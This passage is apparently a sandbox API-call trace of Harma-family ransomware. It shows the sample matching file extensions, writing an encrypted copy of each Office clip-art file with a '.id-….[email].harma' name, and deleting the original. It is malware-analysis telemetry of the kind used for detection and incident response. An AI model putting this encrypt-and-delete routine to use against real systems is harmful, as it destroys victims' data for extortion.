lpString2="WMF") returned -1 [0159.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0159.869] lstrlenW (lpString=".dbf") returned 4 [0159.869] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0159.869] lstrlenW (lpString=".1cd") returned 4 [0159.869] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0159.869] lstrlenW (lpString=".jpg") returned 4 [0159.869] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.870] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0159.870] lstrlenW (lpString="J0086426.WMF") returned 12 [0159.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0159.870] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=21782) returned 1 [0159.870] CloseHandle (hObject=0x338) returned 1 [0159.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf")) returned 0x20 [0159.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0159.871] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.871] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0159.871] GetLastError () returned 0x0 [0159.871] ReadFile (in: hFile=0x338, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x5516, lpOverlapped=0x0) returned 1 [0159.900] WriteFile (in: hFile=0x1b4, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x5520, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x5520, lpOverlapped=0x0) returned 1 [0159.901] ReadFile (in: hFile=0x338, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0159.901] WriteFile (in: hFile=0x1b4, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.901] SetEndOfFile (hFile=0x1b4) returned 1 [0159.901] CloseHandle (hObject=0x1b4) returned 1 [0159.901] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.901] SetEndOfFile (hFile=0x338) returned 1 [0159.904] CloseHandle (hObject=0x338) returned 1 [0159.904] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.930] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf")) returned 1 [0160.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0160.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0160.014] lstrlenW (lpString=".doc") returned 4 [0160.014] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.014] lstrlenW (lpString=".docx") returned 5 [0160.014] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0160.014] lstrlenW (lpString=".pdf") returned 4 [0160.015] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.015] lstrlenW (lpString=".xls") returned 4 [0160.015] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.015] lstrlenW (lpString=".xlsx") returned 5 [0160.015] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0160.015] lstrlenW (lpString=".ppt") returned 4 [0160.015] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0160.015] lstrlenW (lpString=".zip") returned 4 [0160.015] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.015] lstrlenW (lpString=".rar") returned 4 [0160.015] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.015] lstrlenW (lpString=".bz2") returned 4 [0160.015] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.015] lstrlenW (lpString=".7z") returned 3 [0160.015] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0160.015] lstrlenW (lpString=".dbf") returned 4 [0160.015] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0160.015] lstrlenW (lpString=".1cd") returned 4 [0160.015] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0160.015] lstrlenW (lpString=".jpg") returned 4 [0160.015] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0160.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0160.015] lstrlenW (lpString=".doc") returned 4 [0160.015] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.016] lstrlenW (lpString=".docx") returned 5 [0160.016] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0160.016] lstrlenW (lpString=".pdf") returned 4 [0160.016] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.016] lstrlenW (lpString=".xls") returned 4 [0160.016] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.016] lstrlenW (lpString=".xlsx") returned 5 [0160.016] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0160.016] lstrlenW (lpString=".ppt") returned 4 [0160.016] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0160.016] lstrlenW (lpString=".zip") returned 4 [0160.016] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.016] lstrlenW (lpString=".rar") returned 4 [0160.016] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.016] lstrlenW (lpString=".bz2") returned 4 [0160.016] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.016] lstrlenW (lpString=".7z") returned 3 [0160.016] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0160.016] lstrlenW (lpString=".dbf") returned 4 [0160.016] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0160.016] lstrlenW (lpString=".1cd") returned 4 [0160.016] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0160.016] lstrlenW (lpString=".jpg") returned 4 [0160.016] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.017] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0160.017] lstrlenW (lpString="J0090027.WMF") returned 12 [0160.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0160.017] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=21268) returned 1 [0160.017] CloseHandle (hObject=0x1b4) returned 1 [0160.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf")) returned 0x20 [0160.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0160.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0160.018] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.018] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0160.018] GetLastError () returned 0x0 [0160.018] ReadFile (in: hFile=0x1b4, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x5314, lpOverlapped=0x0) returned 1 [0160.049] WriteFile (in: hFile=0x388, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x5320, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x5320, lpOverlapped=0x0) returned 1 [0160.050] ReadFile (in: hFile=0x1b4, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0160.050] WriteFile (in: hFile=0x388, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.050] SetEndOfFile (hFile=0x388) returned 1 [0160.050] CloseHandle (hObject=0x388) returned 1 [0160.050] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.051] SetEndOfFile (hFile=0x1b4) returned 1 [0160.053] CloseHandle (hObject=0x1b4) returned 1 [0160.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0160.053] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf")) returned 1 [0160.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0160.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0160.054] lstrlenW (lpString=".doc") returned 4 [0160.054] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.054] lstrlenW (lpString=".docx") returned 5 [0160.054] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0160.054] lstrlenW (lpString=".pdf") returned 4 [0160.054] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.054] lstrlenW (lpString=".xls") returned 4 [0160.054] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.054] lstrlenW (lpString=".xlsx") returned 5 [0160.054] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0160.054] lstrlenW (lpString=".ppt") returned 4 [0160.054] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0160.054] lstrlenW (lpString=".zip") returned 4 [0160.054] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.054] lstrlenW (lpString=".rar") returned 4 [0160.054] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.054] lstrlenW (lpString=".bz2") returned 4 [0160.054] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.054] lstrlenW (lpString=".7z") returned 3 [0160.055] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0160.055] lstrlenW (lpString=".dbf") returned 4 [0160.055] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0160.055] lstrlenW (lpString=".1cd") returned 4 [0160.055] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0160.056] lstrlenW (lpString=".jpg") returned 4 [0160.056] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0160.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0160.056] lstrlenW (lpString=".doc") returned 4 [0160.056] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.056] lstrlenW (lpString=".docx") returned 5 [0160.056] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0160.056] lstrlenW (lpString=".pdf") returned 4 [0160.056] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.056] lstrlenW (lpString=".xls") returned 4 [0160.056] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.056] lstrlenW (lpString=".xlsx") returned 5 [0160.056] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0160.056] lstrlenW (lpString=".ppt") returned 4 [0160.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0160.056] lstrlenW (lpString=".zip") returned 4 [0160.056] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.056] lstrlenW (lpString=".rar") returned 4 [0160.056] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.056] lstrlenW (lpString=".bz2") returned 4 [0160.056] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.056] lstrlenW (lpString=".7z") returned 3 [0160.056] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0160.056] lstrlenW (lpString=".dbf") returned 4 [0160.056] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0160.056] lstrlenW (lpString=".1cd") returned 4 [0160.057] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0160.057] lstrlenW (lpString=".jpg") returned 4 [0160.057] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.057] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0160.057] lstrlenW (lpString="J0090149.WMF") returned 12 [0160.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0160.086] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=28212) returned 1 [0160.086] CloseHandle (hObject=0x214) returned 1 [0160.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf")) returned 0x20 [0160.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0160.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0160.088] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.088] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0160.089] GetLastError () returned 0x0 [0160.089] ReadFile (in: hFile=0x214, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x6e34, lpOverlapped=0x0) returned 1 [0160.091] WriteFile (in: hFile=0x218, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x6e40, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x6e40, lpOverlapped=0x0) returned 1 [0160.092] ReadFile (in: hFile=0x214, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0160.092] WriteFile (in: hFile=0x218, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.092] SetEndOfFile (hFile=0x218) returned 1 [0160.092] CloseHandle (hObject=0x218) returned 1 [0160.092] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.092] SetEndOfFile (hFile=0x214) returned 1 [0160.095] CloseHandle (hObject=0x214) returned 1 [0160.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0160.095] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf")) returned 1 [0160.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0160.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0160.096] lstrlenW (lpString=".doc") returned 4 [0160.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.096] lstrlenW (lpString=".docx") returned 5 [0160.096] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0160.096] lstrlenW (lpString=".pdf") returned 4 [0160.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.096] lstrlenW (lpString=".xls") returned 4 [0160.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.096] lstrlenW (lpString=".xlsx") returned 5 [0160.096] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0160.096] lstrlenW (lpString=".ppt") returned 4 [0160.096] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0160.096] lstrlenW (lpString=".zip") returned 4 [0160.096] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.096] lstrlenW (lpString=".rar") returned 4 [0160.096] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.096] lstrlenW (lpString=".bz2") returned 4 [0160.096] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.096] lstrlenW (lpString=".7z") returned 3 [0160.096] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0160.096] lstrlenW (lpString=".dbf") returned 4 [0160.097] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0160.097] lstrlenW (lpString=".1cd") returned 4 [0160.097] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0160.097] lstrlenW (lpString=".jpg") returned 4 [0160.097] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0160.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0160.097] lstrlenW (lpString=".doc") returned 4 [0160.097] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.097] lstrlenW (lpString=".docx") returned 5 [0160.097] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0160.097] lstrlenW (lpString=".pdf") returned 4 [0160.097] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.097] lstrlenW (lpString=".xls") returned 4 [0160.097] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.097] lstrlenW (lpString=".xlsx") returned 5 [0160.097] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0160.097] lstrlenW (lpString=".ppt") returned 4 [0160.097] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0160.097] lstrlenW (lpString=".zip") returned 4 [0160.097] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.097] lstrlenW (lpString=".rar") returned 4 [0160.097] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.097] lstrlenW (lpString=".bz2") returned 4 [0160.097] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.097] lstrlenW (lpString=".7z") returned 3 [0160.098] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0160.098] lstrlenW (lpString=".dbf") returned 4 [0160.098] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0160.098] lstrlenW (lpString=".1cd") returned 4 [0160.098] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0160.098] lstrlenW (lpString=".jpg") returned 4 [0160.098] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.098] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0160.098] lstrlenW (lpString="J0090390.WMF") returned 